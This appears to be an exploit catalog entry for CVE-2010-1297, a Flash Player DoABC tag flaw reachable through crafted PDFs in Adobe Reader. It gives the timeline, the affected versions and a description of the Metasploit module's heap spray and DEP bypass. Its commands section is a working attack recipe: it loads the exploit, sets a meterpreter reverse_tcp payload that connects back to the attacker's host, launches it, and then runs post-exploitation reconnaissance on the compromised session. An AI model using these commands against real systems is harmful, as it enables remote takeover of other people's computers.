Timeline :

Vulnerability & PoC disclosed by unknown on Exploit-DB the 2010-06-09
Metasploit PoC provided the 2010-06-10

PoC provided by :

unknown
jduck

Reference(s) :

CVE-2010-1297
APSA10-01

Affected version(s) :

Adobe Flash Player 10.0.45.2, 9.0.262, and previous versions for 10.0.x and 9.0.x for Windows, Macintosh, Linux and Solaris.
Adobe Reader and Acrobat 9.3.2, and previous versions 9.x for Windows, Macintosh and UNIX.

Tested on Windows XP SP3

Description :

This module exploits a vulnerability in the DoABC tag handling within versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat are also vulnerable, as are any other applications that may embed Flash player. Arbitrary code execution is achieved by embedding a specially crafted Flash movie into a PDF document. An AcroJS heap spray is used in order to ensure that the memory used by the invalid pointer issue is controlled. NOTE: This module uses a similar DEP bypass method to that used within the adobe_libtiff module. This method is unlikely to work across various Windows versions due a the hardcoded syscall number.

Commands :

use exploit/windows/browser/adobe_flashplayer_newfun­ction
set SRVHOST 192.168.178.21
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit

sessions -i 1
sysinfo
getuid
ipconfig